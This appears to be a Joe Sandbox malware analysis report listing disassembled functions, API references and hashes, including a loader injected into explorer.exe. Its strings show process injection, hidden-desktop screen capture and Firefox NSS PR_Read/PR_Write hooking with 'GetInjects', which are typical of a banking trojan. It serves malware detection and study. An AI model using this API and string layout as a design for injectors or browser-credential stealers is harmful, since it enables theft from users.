Instruction Fuzzy Hash: 51E09A25E19A6282E730FF34F884375A3E0BB54B91FC06575C49F422A4DF6DE599C720

Function 00007FF795D2BCD8 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D2BD60
_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D2BDBD
char_traits.LIBCPMTD ref: 00007FF795D2BE2C
char_traits.LIBCPMTD ref: 00007FF795D2BECF

Part of subcall function 00007FF795D2B728: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D2B778
Part of subcall function 00007FF795D2B728: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D2B826
Part of subcall function 00007FF795D2B728: char_traits.LIBCPMTD ref: 00007FF795D2B8FD

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Mtx_guardMtx_guard::~_$char_traits
String ID:
API String ID: 1723400902-0
Opcode ID: 3577689191e647b2eba0244f68066ee36e99a69f77505bdd8bbac9a00180cfdb
Instruction ID: a4c3152964f1778ac8826256f2b9ca2a28b8ae9301c0f7104c6b35c9f46f74cd
Opcode Fuzzy Hash: 3577689191e647b2eba0244f68066ee36e99a69f77505bdd8bbac9a00180cfdb
Instruction Fuzzy Hash: 7A51C076A1CB9582DA14EB6AF48026EF7A1F7C5B84F501136EB8D47B69DF3CE0418B10

Function 00007FF795D400B0 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF795D4011D
GetLastError.KERNEL32 ref: 00007FF795D4012A
WideCharToMultiByte.KERNEL32 ref: 00007FF795D40173
GetLastError.KERNEL32 ref: 00007FF795D40185

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: cc073f878938fc799904678768523023e3297de0d63febdb3c1fef3ad7fee24c
Instruction ID: b1309de488301c1d4d472c9cd797c1d3e83099ddf743d67822a2468dc0fb8566
Opcode Fuzzy Hash: cc073f878938fc799904678768523023e3297de0d63febdb3c1fef3ad7fee24c
Instruction Fuzzy Hash: CF31683160979283E730AF31648017AB6D5FB80FA4F545778DA9946BE4DF3CD0518760

Function 00007FF795D17DF4 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00007FF795D17E13

Part of subcall function 00007FF795D1F830: shared_ptr.LIBCMTD ref: 00007FF795D1F83E

shared_ptr.LIBCMTD ref: 00007FF795D17E1D
allocator.LIBCPMTD ref: 00007FF795D17E42
allocator.LIBCPMTD ref: 00007FF795D17E56

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: shared_ptr$allocator
String ID:
API String ID: 426846764-0
Opcode ID: 46d84b3b4c7e8204a3866c78015af3c28403f43d119607c22453800ec736fa57
Instruction ID: 160e5d43fb89236b849e799436b8967a2276fa5d79af7528d741ac09336d0c37
Opcode Fuzzy Hash: 46d84b3b4c7e8204a3866c78015af3c28403f43d119607c22453800ec736fa57
Instruction Fuzzy Hash: 8B01FE7690CB5681EA24EB35E48006AA7A1FBC4B80F905132EACD47769CE2CE591CB50

Function 00007FF795D17B08 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00007FF795D17B3B

Part of subcall function 00007FF795D1F8F8: shared_ptr.LIBCMTD ref: 00007FF795D1F906

allocator.LIBCPMTD ref: 00007FF795D17B48
shared_ptr.LIBCMTD ref: 00007FF795D17B57
allocator.LIBCPMTD ref: 00007FF795D17B64

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: shared_ptr$allocator
String ID:
API String ID: 426846764-0
Opcode ID: aa8f5e9cd53f442f27dac48b976c39207e82458efe65fc0543b9c79fb7a2506d
Instruction ID: 5e4b3d12a7f41c1fc397352f13918989d14d849758d8a35cede8260d83d4e2b2
Opcode Fuzzy Hash: aa8f5e9cd53f442f27dac48b976c39207e82458efe65fc0543b9c79fb7a2506d
Instruction Fuzzy Hash: F601DB66A18B9681EA24EB35E49106AA7A1FBC4B80F905131EA8D4776ADF3CE151CB10

Function 00007FF795D18320 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

$, xrefs: 00007FF795D183EA
$, xrefs: 00007FF795D18602

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID:
String ID: $$$
API String ID: 0-233714265
Opcode ID: bea3f275805cb3c61198a70ac9404b13dde8b97b0dc19bbc96532ad67e767dc4
Instruction ID: e6c77bf90b385d87df341045836063d0366e2b948a7b233e5601b5963b726849
Opcode Fuzzy Hash: bea3f275805cb3c61198a70ac9404b13dde8b97b0dc19bbc96532ad67e767dc4
Instruction Fuzzy Hash: A6A10A3260DAD580DA74EB25E4D03AEB7A0F7C5B84F809832DA8E97B59DE3CD545CB10

Analysis Process: explorer.exePID: 1028, Parent PID: 2520COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7.1%
Total number of Nodes:	240
Total number of Limit Nodes:	11

Executed Functions

Function 10A550E0 Relevance: 650.4, APIs: 171, Strings: 200, Instructions: 1133
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 10A55C3F
GetProcAddress.KERNEL32 ref: 10A55C4B
LoadLibraryA.KERNEL32 ref: 10A55C70
LoadLibraryA.KERNEL32 ref: 10A55C85
LoadLibraryA.KERNEL32 ref: 10A55C95
LoadLibraryA.KERNEL32 ref: 10A55CAA
LoadLibraryA.KERNEL32 ref: 10A55CBA
LoadLibraryA.KERNEL32 ref: 10A55CCF
LoadLibraryA.KERNEL32 ref: 10A55CDF
LoadLibraryA.KERNEL32 ref: 10A55CEF
LoadLibraryA.KERNEL32 ref: 10A55CFF
LoadLibraryA.KERNEL32 ref: 10A55D0F
LoadLibraryA.KERNEL32 ref: 10A55D1F
LoadLibraryA.KERNEL32 ref: 10A55D2F
GetProcAddress.KERNEL32 ref: 10A55D49
GetProcAddress.KERNEL32 ref: 10A55D7D
GetProcAddress.KERNEL32 ref: 10A55D99
GetProcAddress.KERNEL32 ref: 10A55DB5
GetProcAddress.KERNEL32 ref: 10A55DD1
GetProcAddress.KERNEL32 ref: 10A55DED
GetProcAddress.KERNEL32 ref: 10A55E04
GetProcAddress.KERNEL32 ref: 10A55E1B
GetProcAddress.KERNEL32 ref: 10A55E37
GetProcAddress.KERNEL32 ref: 10A55E53
GetProcAddress.KERNEL32 ref: 10A55E6F
GetProcAddress.KERNEL32 ref: 10A55E86
GetProcAddress.KERNEL32 ref: 10A55EA2
GetProcAddress.KERNEL32 ref: 10A55EB9
GetProcAddress.KERNEL32 ref: 10A55ED0
GetProcAddress.KERNEL32 ref: 10A55EE7
GetProcAddress.KERNEL32 ref: 10A55F03
GetProcAddress.KERNEL32 ref: 10A55F1F
GetProcAddress.KERNEL32 ref: 10A55F3B
GetProcAddress.KERNEL32 ref: 10A55F57
GetProcAddress.KERNEL32 ref: 10A55F73
GetProcAddress.KERNEL32 ref: 10A55F8F
GetProcAddress.KERNEL32 ref: 10A55FAB
GetProcAddress.KERNEL32 ref: 10A55FC2
GetProcAddress.KERNEL32 ref: 10A55FD9
GetProcAddress.KERNEL32 ref: 10A55FF0
GetProcAddress.KERNEL32 ref: 10A5600F
GetProcAddress.KERNEL32 ref: 10A56026
GetProcAddress.KERNEL32 ref: 10A5603D
GetProcAddress.KERNEL32 ref: 10A56054
GetProcAddress.KERNEL32 ref: 10A5606B
GetProcAddress.KERNEL32 ref: 10A56082
GetProcAddress.KERNEL32 ref: 10A56099
GetProcAddress.KERNEL32 ref: 10A560B0
GetProcAddress.KERNEL32 ref: 10A560C7
GetProcAddress.KERNEL32 ref: 10A560DE
GetProcAddress.KERNEL32 ref: 10A560F5
GetProcAddress.KERNEL32 ref: 10A5610C
GetProcAddress.KERNEL32 ref: 10A56123
GetProcAddress.KERNEL32 ref: 10A5613A
GetProcAddress.KERNEL32 ref: 10A56151
GetProcAddress.KERNEL32 ref: 10A56168
GetProcAddress.KERNEL32 ref: 10A5617F
GetProcAddress.KERNEL32 ref: 10A56196
GetProcAddress.KERNEL32 ref: 10A561AD
GetProcAddress.KERNEL32 ref: 10A561CC
GetProcAddress.KERNEL32 ref: 10A561E3
GetProcAddress.KERNEL32 ref: 10A561FF
GetProcAddress.KERNEL32 ref: 10A56216
GetProcAddress.KERNEL32 ref: 10A56232
GetProcAddress.KERNEL32 ref: 10A5624E
GetProcAddress.KERNEL32 ref: 10A5626A
GetProcAddress.KERNEL32 ref: 10A56286
GetProcAddress.KERNEL32 ref: 10A562A2
GetProcAddress.KERNEL32 ref: 10A562B9
GetProcAddress.KERNEL32 ref: 10A562D0
GetProcAddress.KERNEL32 ref: 10A562E7
GetProcAddress.KERNEL32 ref: 10A562FE
GetProcAddress.KERNEL32 ref: 10A56315
GetProcAddress.KERNEL32 ref: 10A5632C
GetProcAddress.KERNEL32 ref: 10A56348
GetProcAddress.KERNEL32 ref: 10A56364
GetProcAddress.KERNEL32 ref: 10A56380
GetProcAddress.KERNEL32 ref: 10A56397
GetProcAddress.KERNEL32 ref: 10A563AE
GetProcAddress.KERNEL32 ref: 10A563CA
GetProcAddress.KERNEL32 ref: 10A563E1
GetProcAddress.KERNEL32 ref: 10A563F8
GetProcAddress.KERNEL32 ref: 10A5640F
GetProcAddress.KERNEL32 ref: 10A56426
GetProcAddress.KERNEL32 ref: 10A5643D
GetProcAddress.KERNEL32 ref: 10A5645C
GetProcAddress.KERNEL32 ref: 10A56473
GetProcAddress.KERNEL32 ref: 10A5648A
GetProcAddress.KERNEL32 ref: 10A564A1
GetProcAddress.KERNEL32 ref: 10A564B8
GetProcAddress.KERNEL32 ref: 10A564CF
GetProcAddress.KERNEL32 ref: 10A564E6
GetProcAddress.KERNEL32 ref: 10A564FD
GetProcAddress.KERNEL32 ref: 10A56514
GetProcAddress.KERNEL32 ref: 10A5652B
GetProcAddress.KERNEL32 ref: 10A56542
GetProcAddress.KERNEL32 ref: 10A56559
GetProcAddress.KERNEL32 ref: 10A56570
GetProcAddress.KERNEL32 ref: 10A56587
GetProcAddress.KERNEL32 ref: 10A5659E
GetProcAddress.KERNEL32 ref: 10A565B5
GetProcAddress.KERNEL32 ref: 10A565CC
GetProcAddress.KERNEL32 ref: 10A565E3
GetProcAddress.KERNEL32 ref: 10A565FA
GetProcAddress.KERNEL32 ref: 10A56611
GetProcAddress.KERNEL32 ref: 10A56628
GetProcAddress.KERNEL32 ref: 10A5663F
GetProcAddress.KERNEL32 ref: 10A56656
GetProcAddress.KERNEL32 ref: 10A5666D
GetProcAddress.KERNEL32 ref: 10A5668C
GetProcAddress.KERNEL32 ref: 10A566A3
GetProcAddress.KERNEL32 ref: 10A566BA
GetProcAddress.KERNEL32 ref: 10A566D1
GetProcAddress.KERNEL32 ref: 10A566E8
GetProcAddress.KERNEL32 ref: 10A566FF
GetProcAddress.KERNEL32 ref: 10A56716
GetProcAddress.KERNEL32 ref: 10A56735
GetProcAddress.KERNEL32 ref: 10A5674C
GetProcAddress.KERNEL32 ref: 10A56763
GetProcAddress.KERNEL32 ref: 10A5677A
GetProcAddress.KERNEL32 ref: 10A56791
GetProcAddress.KERNEL32 ref: 10A567A8
GetProcAddress.KERNEL32 ref: 10A567BF
GetProcAddress.KERNEL32 ref: 10A567D6
GetProcAddress.KERNEL32 ref: 10A567ED
GetProcAddress.KERNEL32 ref: 10A56804
GetProcAddress.KERNEL32 ref: 10A5681B
GetProcAddress.KERNEL32 ref: 10A56832
GetProcAddress.KERNEL32 ref: 10A56849
GetProcAddress.KERNEL32 ref: 10A56860
GetProcAddress.KERNEL32 ref: 10A56877
GetProcAddress.KERNEL32 ref: 10A5688E
GetProcAddress.KERNEL32 ref: 10A568A5
GetProcAddress.KERNEL32 ref: 10A568BC
GetProcAddress.KERNEL32 ref: 10A568D3
GetProcAddress.KERNEL32 ref: 10A568EA
GetProcAddress.KERNEL32 ref: 10A56901
GetProcAddress.KERNEL32 ref: 10A56918
GetProcAddress.KERNEL32 ref: 10A5692F
GetProcAddress.KERNEL32 ref: 10A56946
GetProcAddress.KERNEL32 ref: 10A5695D
GetProcAddress.KERNEL32 ref: 10A56974
GetProcAddress.KERNEL32 ref: 10A5698B
GetProcAddress.KERNEL32 ref: 10A569A2
GetProcAddress.KERNEL32 ref: 10A569B9
GetProcAddress.KERNEL32 ref: 10A569D0
GetProcAddress.KERNEL32 ref: 10A569E7
GetProcAddress.KERNEL32 ref: 10A569FE
GetProcAddress.KERNEL32 ref: 10A56A15
GetProcAddress.KERNEL32 ref: 10A56A31
GetProcAddress.KERNEL32 ref: 10A56A48
GetProcAddress.KERNEL32 ref: 10A56A5F
GetProcAddress.KERNEL32 ref: 10A56A76
GetProcAddress.KERNEL32 ref: 10A56A8D
GetProcAddress.KERNEL32 ref: 10A56AA4
GetProcAddress.KERNEL32 ref: 10A56ABB
GetProcAddress.KERNEL32 ref: 10A56AD2
GetProcAddress.KERNEL32 ref: 10A56AE9
GetProcAddress.KERNEL32 ref: 10A56B00
GetProcAddress.KERNEL32 ref: 10A56B17
GetProcAddress.KERNEL32 ref: 10A56B2E
GetProcAddress.KERNEL32 ref: 10A56B45
GetProcAddress.KERNEL32 ref: 10A56B5C
GetProcAddress.KERNEL32 ref: 10A56B73
GetProcAddress.KERNEL32 ref: 10A56B8F
GetProcAddress.KERNEL32 ref: 10A56BAB
GetProcAddress.KERNEL32 ref: 10A56BC2
GetProcAddress.KERNEL32 ref: 10A56BD9
GetProcAddress.KERNEL32 ref: 10A56BF0
GetProcAddress.KERNEL32 ref: 10A56C07
GetProcAddress.KERNEL32 ref: 10A56C1E

Part of subcall function 10A598E0: MultiByteToWideChar.KERNEL32 ref: 10A59910

Part of subcall function 10A598E0: MultiByteToWideChar.KERNEL32 ref: 10A5996A

Strings

ReleaseMutex, xrefs: 10A557B9
chunked, xrefs: 10A55A7C
text/html, xrefs: 10A55BCC
GetTopWindow, xrefs: 10A55A67
GetModuleHandleA, xrefs: 10A555DD
tolower, xrefs: 10A55551
CreateProcessA, xrefs: 10A55463
ScreenToClient, xrefs: 10A558B5
SHFileOperationA, xrefs: 10A554D3
strtod, xrefs: 10A55589
DeleteDC, xrefs: 10A55979
isdigit, xrefs: 10A5555F
DisconnectNamedPipe, xrefs: 10A55749
StrToIntA, xrefs: 10A555CF
InitializeCriticalSection, xrefs: 10A5550B
Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3, xrefs: 10A55B16
RegQueryValueExA, xrefs: 10A5595D
ShellExecuteA, xrefs: 10A55781
GetLastError, xrefs: 10A55519
MoveWindow, xrefs: 10A558C3
SHGetFolderPathA, xrefs: 10A552B1
isxdigit, xrefs: 10A5557B
GetComputerNameW, xrefs: 10A55711
ReleaseDC, xrefs: 10A55987
IsWindowVisible, xrefs: 10A55A28
EnterCriticalSection, xrefs: 10A55527
VirtualAllocEx, xrefs: 10A55217
GET , xrefs: 10A55AEC
NtOpenKey, xrefs: 10A55439
HTTP/1.1, xrefs: 10A55AFA
StrStrA, xrefs: 10A55359
connect, xrefs: 10A553C9
GetCurrentProcessId, xrefs: 10A557E3
realloc, xrefs: 10A55383
GetVersionExA, xrefs: 10A5571F
CreateDesktopA, xrefs: 10A55861
GetFileVersionInfoSizeA, xrefs: 10A555EB
GetTempPathA, xrefs: 10A55765
malloc, xrefs: 10A5532F
lstrlenA, xrefs: 10A55295
GetDIBits, xrefs: 10A559A3
SendMessageA, xrefs: 10A55899
PrintWindow, xrefs: 10A55A52
CreateDirectoryA, xrefs: 10A5580D
Process32First, xrefs: 10A555A5
StrStrIA, xrefs: 10A55367
ntdll.dll, xrefs: 10A55137
LoadLibraryA, xrefs: 10A550FF
GetWindowRect, xrefs: 10A558D1
HttpQueryInfoA, xrefs: 10A5581B
KernelBase.dll, xrefs: 10A5510D
Content-Length, xrefs: 10A559D4
free, xrefs: 10A55209
.exe, xrefs: 10A55ABB
wsprintfA, xrefs: 10A551ED
PathFindFileNameA, xrefs: 10A5526B
strtoul, xrefs: 10A5556D
GetVolumeInformationA, xrefs: 10A552E9
ConnectNamedPipe, xrefs: 10A5573B
NtSetValueKey, xrefs: 10A55447
Content-Type: , xrefs: 10A55BBE
send, xrefs: 10A553D7
CreateCompatibleDC, xrefs: 10A559E9
PathFileExistsA, xrefs: 10A557FF
ConvertSidToStringSidA, xrefs: 10A55313
Transfer-Encoding, xrefs: 10A559DB
GetNativeSystemInfo, xrefs: 10A556D9
Psapi.dll, xrefs: 10A55199
CreateThread, xrefs: 10A556F5
FindWindowA, xrefs: 10A5548D
lstrcmpiA, xrefs: 10A5533D
GetThreadContext, xrefs: 10A554B7
GetModuleFileNameA, xrefs: 10A5525D
memcpy, xrefs: 10A5541D
OpenDesktopA, xrefs: 10A5586F
wininet.dll, xrefs: 10A551A7
recv, xrefs: 10A553E5
identity, xrefs: 10A55B94
POST , xrefs: 10A55ADE
closesocket, xrefs: 10A553F3
LocalFree, xrefs: 10A55321
memcmp, xrefs: 10A55623
Accept-Encoding, xrefs: 10A55B86
Advapi32.dll, xrefs: 10A5516F
User32.dll, xrefs: 10A550F1
RealGetWindowClassA, xrefs: 10A558FB
Host: , xrefs: 10A55C04
GetUserNameW, xrefs: 10A55703
ws2_32.dll, xrefs: 10A5517D
MultiByteToWideChar, xrefs: 10A551FB
CloseHandle, xrefs: 10A55455
gethostbyname, xrefs: 10A553AD
WriteProcessMemory, xrefs: 10A55225
GetDesktopWindow, xrefs: 10A5596B
CreateFileA, xrefs: 10A5565B
ChildWindowFromPoint, xrefs: 10A558A7
htons, xrefs: 10A553BB
ExpandEnvironmentStringsA, xrefs: 10A55631
CreateNamedPipeA, xrefs: 10A5572D
Kernel32.dll, xrefs: 10A550F8
GetFileVersionInfoA, xrefs: 10A555F9
GetDC, xrefs: 10A55A13
RtlGetCompressionWorkSpaceSize, xrefs: 10A55845
InternetCrackUrlA, xrefs: 10A55757
HttpQueryInfoW, xrefs: 10A55829
RegCloseKey, xrefs: 10A556A1
SetStretchBltMode, xrefs: 10A559BF
close, xrefs: 10A55BB0
GetInjects, xrefs: 10A55B4E
LocalAlloc, xrefs: 10A551DF
GetUserNameExA, xrefs: 10A552F7
StretchBlt, xrefs: 10A559B1
version.dll, xrefs: 10A5518B
ioctlsocket, xrefs: 10A5578F
WideCharToMultiByte, xrefs: 10A551D1
WindowFromPoint, xrefs: 10A55941
lstrcatA, xrefs: 10A552CD
GetModuleInformation, xrefs: 10A55615
PR_Read, xrefs: 10A55B6A
RtlCompressBuffer, xrefs: 10A55837
VerQueryValueA, xrefs: 10A55607
PathRemoveFileSpecA, xrefs: 10A5524F
strtol, xrefs: 10A55375
GetPrivateProfileStringA, xrefs: 10A5564D
GetWindow, xrefs: 10A55A3D
WaitForSingleObject, xrefs: 10A557C7
Content-Length: , xrefs: 10A559F0
Shlwapi.dll, xrefs: 10A55145
NtUnmapViewOfSection, xrefs: 10A5549B
WSACleanup, xrefs: 10A55401
lstrcmpA, xrefs: 10A5534B
NtQueryInformationProcess, xrefs: 10A554A9
Location: , xrefs: 10A55BDA
firefox.exe, xrefs: 10A55B40
Secur32.dll, xrefs: 10A55161
GetProcAddress, xrefs: 10A55241
MessageBoxA, xrefs: 10A551B5
Host: , xrefs: 10A55B08
Sleep, xrefs: 10A5542B
lstrcpyA, xrefs: 10A552BF
FindNextFileA, xrefs: 10A554EF
PtInRect, xrefs: 10A55909
GetWindowLongA, xrefs: 10A55933
WSAStartup, xrefs: 10A55391
_strnicmp, xrefs: 10A55287
Content-Length: , xrefs: 10A55B24
Firefox, xrefs: 10A55A1A
TerminateThread, xrefs: 10A5587D
SHAppBarMessage, xrefs: 10A5594F
StrChrA, xrefs: 10A555C1
CreateToolhelp32Snapshot, xrefs: 10A55597
Mozilla, xrefs: 10A55C31
NtCreateThreadEx, xrefs: 10A55471
ReadFile, xrefs: 10A55669
HTTP/1.1 200 OK, xrefs: 10A55B32
msvcrt.dll, xrefs: 10A55122
SetWindowLongA, xrefs: 10A55925
Connection, xrefs: 10A55BA2
OpenProcess, xrefs: 10A556E7
CreateCompatibleBitmap, xrefs: 10A559FE
LeaveCriticalSection, xrefs: 10A55535
TerminateProcess, xrefs: 10A5547F
GetTempFileNameA, xrefs: 10A55773
ResumeThread, xrefs: 10A556BD
CreateMutexA, xrefs: 10A557AB
GetWindowsDirectoryA, xrefs: 10A551C3
MenuItemFromPoint, xrefs: 10A558ED
SelectObject, xrefs: 10A559CD
, xrefs: 10A55BE8
PostMessageA, xrefs: 10A5588B
GetWindowThreadProcessId, xrefs: 10A554FD
DeleteFileA, xrefs: 10A557F1
strncmp, xrefs: 10A55279
EnumWindows, xrefs: 10A557D5
_errno, xrefs: 10A55543
RegSetValueExA, xrefs: 10A55685
CopyFileA, xrefs: 10A552DB
FindFirstFileA, xrefs: 10A554E1
SetThreadDesktop, xrefs: 10A55853
GetWindowPlacement, xrefs: 10A55917
%s: *, xrefs: 10A55BF6
SetThreadContext, xrefs: 10A554C5
RegOpenKeyExA, xrefs: 10A55693
ntohs, xrefs: 10A5579D
GetMenuItemID, xrefs: 10A558DF
LookupAccountNameA, xrefs: 10A55305
nss3.dll, xrefs: 10A55B5C
DeleteObject, xrefs: 10A55995
memset, xrefs: 10A5540F
socket, xrefs: 10A5539F
GetPrivateProfileSectionNamesA, xrefs: 10A5563F
Shell32.dll, xrefs: 10A55153
Process32Next, xrefs: 10A555B3
ExitProcess, xrefs: 10A552A3
IsWow64Process, xrefs: 10A556CB
WriteFile, xrefs: 10A55677
GetFileSize, xrefs: 10A556AF
CreateRemoteThread, xrefs: 10A55233
PR_Write, xrefs: 10A55B78
http(s)://, xrefs: 10A55C1C

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ByteCharMultiWide
String ID: $%s: *$Content-Length: $Content-Type: $Host: $Location: $Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3$ HTTP/1.1$.exe$Accept-Encoding$Advapi32.dll$ChildWindowFromPoint$CloseHandle$ConnectNamedPipe$Connection$Content-Length$Content-Length: $ConvertSidToStringSidA$CopyFileA$CreateCompatibleBitmap$CreateCompatibleDC$CreateDesktopA$CreateDirectoryA$CreateFileA$CreateMutexA$CreateNamedPipeA$CreateProcessA$CreateRemoteThread$CreateThread$CreateToolhelp32Snapshot$DeleteDC$DeleteFileA$DeleteObject$DisconnectNamedPipe$EnterCriticalSection$EnumWindows$ExitProcess$ExpandEnvironmentStringsA$FindFirstFileA$FindNextFileA$FindWindowA$Firefox$GET $GetComputerNameW$GetCurrentProcessId$GetDC$GetDIBits$GetDesktopWindow$GetFileSize$GetFileVersionInfoA$GetFileVersionInfoSizeA$GetInjects$GetLastError$GetMenuItemID$GetModuleFileNameA$GetModuleHandleA$GetModuleInformation$GetNativeSystemInfo$GetPrivateProfileSectionNamesA$GetPrivateProfileStringA$GetProcAddress$GetTempFileNameA$GetTempPathA$GetThreadContext$GetTopWindow$GetUserNameExA$GetUserNameW$GetVersionExA$GetVolumeInformationA$GetWindow$GetWindowLongA$GetWindowPlacement$GetWindowRect$GetWindowThreadProcessId$GetWindowsDirectoryA$HTTP/1.1 200 OK$Host: $HttpQueryInfoA$HttpQueryInfoW$InitializeCriticalSection$InternetCrackUrlA$IsWindowVisible$IsWow64Process$Kernel32.dll$KernelBase.dll$LeaveCriticalSection$LoadLibraryA$LocalAlloc$LocalFree$LookupAccountNameA$MenuItemFromPoint$MessageBoxA$MoveWindow$Mozilla$MultiByteToWideChar$NtCreateThreadEx$NtOpenKey$NtQueryInformationProcess$NtSetValueKey$NtUnmapViewOfSection$OpenDesktopA$OpenProcess$POST $PR_Read$PR_Write$PathFileExistsA$PathFindFileNameA$PathRemoveFileSpecA$PostMessageA$PrintWindow$Process32First$Process32Next$Psapi.dll$PtInRect$ReadFile$RealGetWindowClassA$RegCloseKey$RegOpenKeyExA$RegQueryValueExA$RegSetValueExA$ReleaseDC$ReleaseMutex$ResumeThread$RtlCompressBuffer$RtlGetCompressionWorkSpaceSize$SHAppBarMessage$SHFileOperationA$SHGetFolderPathA$ScreenToClient$Secur32.dll$SelectObject$SendMessageA$SetStretchBltMode$SetThreadContext$SetThreadDesktop$SetWindowLongA$Shell32.dll$ShellExecuteA$Shlwapi.dll$Sleep$StrChrA$StrStrA$StrStrIA$StrToIntA$StretchBlt$TerminateProcess$TerminateThread$Transfer-Encoding$User32.dll$VerQueryValueA$VirtualAllocEx$WSACleanup$WSAStartup$WaitForSingleObject$WideCharToMultiByte$WindowFromPoint$WriteFile$WriteProcessMemory$_errno$_strnicmp$chunked$close$closesocket$connect$firefox.exe$free$gethostbyname$htons$http(s)://$identity$ioctlsocket$isdigit$isxdigit$lstrcatA$lstrcmpA$lstrcmpiA$lstrcpyA$lstrlenA$malloc$memcmp$memcpy$memset$msvcrt.dll$nss3.dll$ntdll.dll$ntohs$realloc$recv$send$socket$strncmp$strtod$strtol$strtoul$text/html$tolower$version.dll$wininet.dll$ws2_32.dll$wsprintfA
API String ID: 2683923594-2783081390
